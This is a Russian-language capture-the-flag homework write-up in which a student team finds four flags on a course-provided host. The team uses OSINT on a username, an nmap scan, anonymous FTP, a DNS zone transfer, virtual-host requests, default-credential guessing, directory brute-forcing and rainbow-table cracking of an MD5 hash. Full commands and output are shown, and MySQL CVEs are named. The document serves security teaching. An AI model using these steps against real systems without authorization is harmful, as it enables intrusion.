Под катом - домашнее задание по первой лекции, выполненное командой Изостудия АРТ
.
Состав команды:
- Кинеловский Никита
- Обухова Вероника
- Раковский Станислав
Куратор Тихомиров Никита
Задание
Пользуясь открытыми источниками и исследуя хост 52.57.6.38 найдите флаги.
Всего будет 4 флага, 2 из которых- на хосте и 2 в открытых источниках.
Флаг имеет следующий формат: flag{}
Правила: не портить инфру, не вводить в заблуждение остальных участников.
Ответ на домашнее задание сдается одно от команды и отправляется до 23:59 26 апреля сюда: @mntsth
Отчет по результатам ДЗ должен быть в PDF в формате и содержать подробное получение каждого флага.
p.s. Полезно будет ознакомиться с понятием virtual hosts
Ход решения
Открытые источники, первый флаг
Первый флаг был найден с использованием вебархива:
На одном из двух снимков был запечатлен флаг:
Открытые источники, второй флаг
На сайте, в отличие от снимков на wayback machine, в html есть комментарий:
<!-- Also well known as Dzaarg -->
Используя сервисы по проверке юзернейма, узнаем, что он зарегистрирован на нескольких сайтах:
Находим его на pastebin: https://pastebin.com/u/Dzaarg
Флаг: flag{w3llkn0wnn1ckname}
Находим его в instagram: https://www.instagram.com/Dzaarg/
Приватный аккаунт, подписан на одного человека. Вмешиваться не будем.
Находим его на pikabu: https://pikabu.ru/@Dzaarg
Флаг: flag{w3llkn0wnN1ckN4me}
Примечательно, что на pikabu отличается кейс букв.
FTP, третий флаг
Просканили nmap-ом сервер:
> nmap -sV -p- 52.57.6.38
...
Not shown: 65526 closed ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp filtered smtp
53/tcp open domain
80/tcp open http
443/tcp open https
465/tcp filtered smtps
587/tcp filtered submission
3306/tcp open mysql
40021/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 6829.23 seconds
Примечателен сервис на 40021 порту, возникает предположение о том, что это ftp на нестандартном порту. В таком случае мы сможем с помощью netcat получить баннер:
> nc 52.57.6.38 40021
220 (vsFTPd 3.0.3)
В действительности, это FTP-сервер. Подключаемся, смотрим:
> ftp 52.57.6.38 40021
Connected to 52.57.6.38.
220 (vsFTPd 3.0.3)
Name (52.57.6.38:user): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pass
Passive mode on.
ftp> ls
227 Entering Passive Mode (52,57,6,38,234,193).
150 Here comes the directory listing.
dr-xr-xr-x 2 0 0 4096 Apr 19 13:46 ftparea
226 Directory send OK.
ftp> ls -la
227 Entering Passive Mode (52,57,6,38,234,166).
150 Here comes the directory listing.
drwxr-xr-x 3 0 115 4096 Apr 19 13:46 .
drwxr-xr-x 3 0 115 4096 Apr 19 13:46 ..
-rw-r--r-- 1 0 0 21 Apr 19 13:46 .bash_history
-rw-r--r-- 1 0 0 220 Apr 19 13:46 .bash_logout
-rw-r--r-- 1 0 0 3809 Apr 19 13:48 .bashrc
-rw-r--r-- 1 0 0 807 Apr 19 13:46 .profile
-rw------- 1 0 0 790 Apr 19 13:46 .viminfo
dr-xr-xr-x 2 0 0 4096 Apr 19 13:46 ftparea
226 Directory send OK.
ftp> cd ftparea
250 Directory successfully changed.
ftp> ls -la
227 Entering Passive Mode (52,57,6,38,234,135).
150 Here comes the directory listing.
dr-xr-xr-x 2 0 0 4096 Apr 19 13:46 .
drwxr-xr-x 3 0 115 4096 Apr 19 13:46 ..
-rw-r--r-- 1 0 0 20 Apr 19 13:47 .secreto.txt
-rw-r--r-- 1 0 0 10765 Apr 19 13:46 flag.jpg
-rw-r--r-- 1 0 0 67488 Apr 19 13:46 maybeflag.jpg
-rw-r--r-- 1 0 0 10 Apr 19 13:46 topsecret.txt
226 Directory send OK.
ftp> get .secreto.txt -
remote: .secreto.txt
227 Entering Passive Mode (52,57,6,38,234,172).
150 Opening BINARY mode data connection for .secreto.txt (20 bytes).
flag{4n0n1mUzz1337}
226 Transfer complete.
20 bytes received in 0.00 secs (23.5600 kB/s)
Получен еще один флаг: flag{4n0n1mUzz1337}
Также были изучены другие файлы, находящиеся на файловом сервере, среди них примечателен только ._bash_history:
.bash_history: givemefukinflag
База данных, четвертый флаг
На странице нам предлагают связаться по email [email protected] В задании сказано о virtual hosts, а на сервере открыт 53-й порт. Давайте попробуем выгрузить доменную зону trueoaz.infosec:
> dig AXFR trueoaz.infosec @52.57.6.38
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> AXFR trueoaz.infosec @52.57.6.38
;; global options: +cmd
trueoaz.infosec. 10 IN SOA ns1.trueoaz.infosec. ns2.trueoaz.infosec. 3 10800 3600 604800 604800
trueoaz.infosec. 10 IN A 127.0.0.1
trueoaz.infosec. 10 IN NS ns1.trueoaz.infosec.
trueoaz.infosec. 10 IN NS ns2.trueoaz.infosec.
dsadddw.trueoaz.infosec. 10 IN TXT "Ti nafiga eto sdelal?"
kingleo.trueoaz.infosec. 10 IN A 127.0.0.1
ns1.trueoaz.infosec. 10 IN A 127.0.0.1
ns2.trueoaz.infosec. 10 IN A 127.0.0.2
www.trueoaz.infosec. 10 IN CNAME trueoaz.infosec.
trueoaz.infosec. 10 IN SOA ns1.trueoaz.infosec. ns2.trueoaz.infosec. 3 10800 3600 604800 604800
;; Query time: 45 msec
;; SERVER: 52.57.6.38#53(52.57.6.38)
;; WHEN: Fri Apr 23 23:08:57 MSK 2021
;; XFR size: 10 records (messages 1, bytes 312)
MX-записи не видим, зато примечательны интересные TXT- и A-записи.
> wget --header="Host: kingleo.trueoaz.infosec" 52.57.6.38
--2021-04-23 23:15:27-- http://52.57.6.38/
Connecting to 52.57.6.38:80... connected.
HTTP request sent, awaiting response... 401 Unauthorized
Username/Password Authentication Failed.
Требуется аутентификация.
> wget --header="Host: kingleo.trueoaz.infosec" 52.57.6.38 --http-user=user --http-password=password
--2021-04-23 23:17:43-- http://52.57.6.38/
Connecting to 52.57.6.38:80... connected.
HTTP request sent, awaiting response... 401 Unauthorized
Authentication selected: Basic realm="are you admin?"
Reusing existing connection to 52.57.6.38:80.
HTTP request sent, awaiting response... 401 Unauthorized
Username/Password Authentication Failed.
С помощью атрибута realm нам подсказывают, что ожидается пользователь admin.
> wget --header="Host: kingleo.trueoaz.infosec" 52.57.6.38 --http-user=admin --http-password=admin
--2021-04-23 23:20:04-- http://52.57.6.38/
Connecting to 52.57.6.38:80... connected.
HTTP request sent, awaiting response... 401 Unauthorized
Authentication selected: Basic realm="are you admin?"
Reusing existing connection to 52.57.6.38:80.
HTTP request sent, awaiting response... 403 Forbidden
2021-04-23 23:20:04 ERROR 403: Forbidden.
Мы прошли аутентификацию, используя креды admin:admin, но теперь нам кидают 403 на корень сайта. Пройдемся dirsearch:
> dirsearch.py --auth=admin:admin -H 'Host: kingleo.trueoaz.infosec' -u 52.57.6.38
_|. _ _ _ _ _ _|_ v0.4.1
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10877
Error Log: /root/dirsearch/logs/errors-21-04-23_20-23-30.log
Target: http://52.57.6.38/
Output File: /root/dirsearch/reports/52.57.6.38/_21-04-23_20-23-30.txt
[20:23:30] Starting:
[20:23:36] 200 - 109B - /admin.html
Task Completed
Достанем файл:
> wget --header="Host: kingleo.trueoaz.infosec" --http-user=admin --http-password=admin 52.57.6.38/admin.html
--2021-04-23 20:25:34-- http://52.57.6.38/admin.html
Connecting to 52.57.6.38:80... connected.
HTTP request sent, awaiting response... 401 Unauthorized
Authentication selected: Basic realm="are you admin?"
Reusing existing connection to 52.57.6.38:80.
HTTP request sent, awaiting response... 200 OK
Length: 109 [text/html]
Saving to: ‘admin.html’
admin.html 100%[============================================================================>] 109 --.-KB/s in 0s
2021-04-23 20:25:34 (3.87 MB/s) - ‘admin.html’ saved [109/109]
Его содержимое:
<p>My method is supersecure</p>
<p>New year - new user</p>
<p>leo2018:8352269ae368edfeacfa7c1213c35015</p>
md5 нашлась в радужных таблицах: space1
Была предпринята попытка найти HTTP Method, который бы ответил на наш зов, но безуспешно.
Но потом тиммейт Ника включила своё божественное чутье и вспомнила о наличии открыто торчащей базы данных:
Флаг: flag{congr4tzzzz!}
Стоит добавить, что версия бд - MySQL 5.5.5, имеет известные эксплоиты на DoS, на повышение привилегий и RCE. Так как были найдены все 4 флага, считаем дальнейшие действия избыточными, так как можем нарушить целостность и доступность сервера, поэтому просто упомянем те уязвимости, эксплоиты для которых есть в свободном доступе и которые мы бы применили, если б не оставалось других вариантов:
- CVE-2016-6662 - повышение привилегий, RCE.
- CVE-2012-2122 - получение пар логин - хешированный пароль.
Итог
flag{ggwppoluchaetsya} - wayback machine
flag{w3llkn0wnN1ckN4me} и flag{w3llkn0wnn1ckname} - pikabu and pastebin (via namecheck services)
flag{4n0n1mUzz1337} - ftp
flag{congr4tzzzz!} - MySQL